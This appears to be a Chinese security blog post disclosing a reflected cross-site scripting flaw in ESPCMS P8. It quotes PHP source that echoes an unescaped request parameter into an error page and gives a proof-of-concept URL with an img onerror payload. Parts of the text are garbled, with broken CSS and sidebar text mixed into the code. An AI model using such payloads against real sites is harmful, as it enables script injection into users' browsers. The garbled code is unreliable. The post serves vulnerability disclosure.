## MSRC TOP100

悟已往之不谏,知来者之可追

首页 管理 随笔 - 353 文章 - 0 评论 - 103 阅读 - 126万

1

## ESPCMS P8 stable version Front-end reflective xss

Download the source code first

In the directory espcms\_web\espcms\_load.php line 67

```
if (!is_file($module_filename)) {
   espcms_message_err('public_pack-espcms_module_file_err', array($ac_name));
```

```
Will return the html code directly
  function espcms_message_err($message_code, $format_code = array()) {
   $title = espcms_lan_pack('public_pack-espcms_soft_title_err');
      $message_lan = espcms_lan_pack($message_code);
      if (isset($message_lan) && !empty($message_lan) && is_array($format_code) && count($format_code) > 0) {
          $message = vsprintf($message_lan, $format_code);
      } else {
          $message = $message_lan;
      $message html code = '<!DOCTYPE html>
      <html xmlns="http://www.w3.org/1999/xhtml" dir=\'ltr\'>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /\!>
          <title>' . $title . '</title>
           <script type="text/javascript" src="' . ESPCMS_ADMIN_URL . 'js/jquery.min.js"></script>
           <script type="text/javascript" src="' . ESPCMS_ADMIN_URL . 'js/iframeResizer.contentWindow.min.js"></script>
          <style type="text/css">
              html {
                  background: #eee;
              body {
                   background: #fff;
                   color: #333;
                   font-family: "Open Sans", sans-serif;
                   margin: 2em auto;
                   padding: 20px;
                   max-width: 92%;
                   -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
                   box-shadow: 0 1px 3px rgba(0,0,0,0.13);
                   border-bottom: 1px solid #dadada;
                   clear: both;
                   color: #666;
                   font: 24px "Open Sans", sans-serif;
                   margin: 30px 0 0 0;
                   padding: 0;
                   padding-bottom: 7px;
               #error-page {
                   margin-top:40px;
               #error-page p {
                   font-size: 14px;
                   line-height: 1.5;
                   margin: 25px 0 20px;
               #error-page code {
                   font-family: Consolas, Monaco, monospace;
              ul li (
                   margin-bottom: 10px;
                   font-size: 14px ;
              a {
                  color: #333;
                   text-decoration: underline:
                   color: #fa0000;
                   text-decoration: underline;
                   background: #f7f7f7;
                   border: 1px solid #cccccc;
                   color: #555;
                   display: inline-block;
                   text-decoration: none;
                   font-size: 13px;
                   line-height: 26px;
                   height: 28px;
                   margin: 0;
                   padding: 0 10px 1px;
                   -webkit-border-radius: 3px;
                   -webkit-appearance: none;
                   border-radius: 3px;
                   white-space: nowrap;
                   -webkit-box-sizing: border-box;
                   -moz-box-sizing: border-box; box-sizing: border-box;
                   -webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba(0,0,0,.08);
                   box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba(0,0,0,.08);
                   vertical-align: top;
               .button.button-large {
                   height: 29px;
                   line-height: 28px;
```

```
公告
```

```
昵称: 紅人
园龄: 5年4个月
粉丝: 147
关注: 0
```

## 最新随笙

```
1.CVE-2019-1286漏洞分析
2.CVE-2020-0788漏洞分析
3.CVE-2015-6100漏洞分析
4.CVE-2016-3310漏洞分析
5.CVE-2020-0887漏洞分析
6.CVE-2016-3311漏洞分析
7.CVE-2022-21882漏洞分析
8.CVE-2021-1732漏洞分析
9.CVE-2021-40449漏洞分析
10.CVE-2018-8453漏洞分析
```

## 随笔分类 (363)

```
《漏洞分析》(34)
C#(81)
C/C++(29)
Windows编程(49)
SOI (26)
逆向分析(16)
安全随笔(115)
安卓开发(12)
其他(1)
```

```
padding: 0 12px;
       .button:hover,
        .button:focus {
           background: #fafafa;
           border-color: #999;
           color: #222;
            -webkit-box-shadow: 1px 1px 1px rgba(0,0,0,.2);
           box-shadow: 1px 1px 1px rgba(0,0,0,.2);
        .button:active {
           background: #eee;
           color: #333;
           -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
           box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
       code {
           font-size:14px;padding:0px 5px;color:#eb3609;
   </style>
</head>
<body id="error-page">' . $message . '</body></html>';
exit($message_html_code);
```

Directly cause cross-site scripting

We request directly

 $http://127.0.0.1/espcms/index.php?ac = < img\ src = 1\ onerror = alert(1) > \&at = List$ 

http://127.0.0.1/espcms/index.php?ac=<img src=1 onerror=alert(1)>&at=List

理解上述内容,请联系您的服务提供商。如果您仍需帮<del>助,可助的 <u>car civia x minora</u> ax <u>car ciMS帮助中心</u>。</del>

从此山高路远,纵马扬鞭。愿往后旅途,三冬暖,春不寒,天黑有灯,下雨有伞。此生尽兴,不负勇往。

分类: 安全随笔

好文要项 美注我 收輸该文 6 電

粉丝 - 147 关注 - 0

«上一篇:【代码审计】ESPCMSP8(易思企业建站管理系统)漏洞报告

请检查模块是否存在,如果不存在请尝识使用原始

» 下一篇: c集合

刷新评论 刷新页面 返回顶部

与系统管理人

登录后才能查看或发表评论,立即 登录 或者 逛逛 博客园首页

【推荐】阿里云新人特惠,爆款云服务器2核4G低至0.46元/天 【推荐】云产品年终特惠,腾讯云轻量应用服务器6.58元/月起 Copyright ⊚ 2022 紅人 Powered by .NET 7.0 on Kubernetes

1